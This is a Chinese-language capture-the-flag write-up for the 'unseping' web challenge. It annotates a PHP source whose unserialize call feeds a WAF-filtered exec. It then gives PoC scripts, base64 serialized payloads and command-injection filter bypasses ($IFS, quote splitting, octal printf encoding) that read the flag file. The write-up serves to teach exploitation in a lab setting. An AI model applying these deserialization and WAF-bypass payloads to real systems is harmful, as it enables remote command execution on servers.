攻防世界web新手练习 -unseping
新版攻防世界的这个题目有点给力,从今天开始刷题刷题
本题的知识点很多,总结出来以下几点
- php代码审计
- php反序列化
- 命令执行的绕过方式
- 空格绕过
- 空环境变量绕过相关命令
源码分析
首先对源码进行分析
<?php
//显示源代码
highlight_file(__FILE__);
定义一个easy类
class ease{
private $method;
private $args;
//PHP 构造函数,主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
//析构函数 析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
//通俗的说就是当对象结束时触发该函数
function __destruct(){
//如果传入的数组中第一个参数method为ping,则执行下面的函数
if (in_array($this->method, array("ping"))) {
//call_user_func_array:把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入;比如call_user_func_array("ping","127.0.0.1") 执行命令 ping 127.0.0.1
call_user_func_array(array($this, $this->method), $this->args);
}
}
//执行传入的参数
function ping($ip){
exec($ip, $result);
//返回结果的值和类型
var_dump($result);
}
//过滤函数,过滤了很多特殊符号,关键词等
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//规定:__wakeup(),执行unserialize()时,先会调用这个函数
function __wakeup(){
//遍历传入的数组
foreach($this->args as $k => $v) {
//查看将传入的数组值放入waf函数中进行过滤
$this->args[$k] = $this->waf($v);
}
}
}
//传入一个post参数
$ctf=@$_POST['ctf'];
//先进行base64解码然后在进行反序列化
@unserialize(base64_decode($ctf));
?>
poc编写
通过对源码的分析,我们可以初步进行php脚本编写
源码中,在post参数ctf中传入,首先将ctf编码,然后对ctf变量进行序列化,从而传入类中
传入的参数符合以下条件:
- 第一个参数为ping
- 第二个参数为执行的命令(做绕过)
通过以上分析,编写的php脚本如下
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
payload如下
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319
命令绕过
空环境变量绕过
可以看到命令已经执行,下面的就是进行命令绕过了,我们看到ls被过滤了,想到可以进行空环境变量绕过,绕过方法比较多,想到以下3种
- ‘’ 单引号
- “” 双引号
- ${Z}
这里运用双引号绕过
ls查看当前文件
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
payload如下
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==
执行命令后,发现了一个flag_1s_here,以为是个文件,直接查看
空格绕过
查看flag_1s_here文件时,需要运用控环境变量对cat进行绕过,空格运用${IFS}进行绕过,如下
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('c${Z}at${IFS}f${Z}lag_1s_here'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
发现无法查看,试了几次以后,才发现原来是一个文件夹,所以此时我们应该查看文件夹里面有什么,运用命令ls flag_1s_here
,绕过方法l""s${IFS}f""lag_1s_here
执行payload后,在文件夹下发现了flag_831b69012c67b35f.php,尝试打开xxx/flag_1s_here/flag_831b69012c67b35f.php,发现为空白页,此时想到应该是查看php原文
执行命令cat flag_1s_here/flag_831b69012c67b35f.php
,想了半天,发现空格,关键字都能绕过,但是只有/无法绕过,在这里,我查阅资料发现有一种oct命令绕过方法
oct 绕过命令执行
$(printf "\154\163")
//ls命令,这个编码后可以拼接
需注意,符号都为英文状态下
此时我们需要执行命令为cat flag_1s_here/flag_831b69012c67b35f.php
$(printf "cat flag_1s_here/flag_831b69012c67b35f.php")
编写脚本对命令进行ascii编码然后八进制转换
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
lett = oct(ord(i))
//这个主要是为了将八进制前面的0o替换掉
lett=str(lett).replace("0o","")
arr.append(lett)
sym = "\\"
# print(arr)
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)
获取到编码后直接用php脚本获得payload,空格运用${IFS}绕过即可
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
获得payload为文章来源:https://uudwc.com/A/Eva5Y
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
运用payload获得flag
文章来源地址https://uudwc.com/A/Eva5Y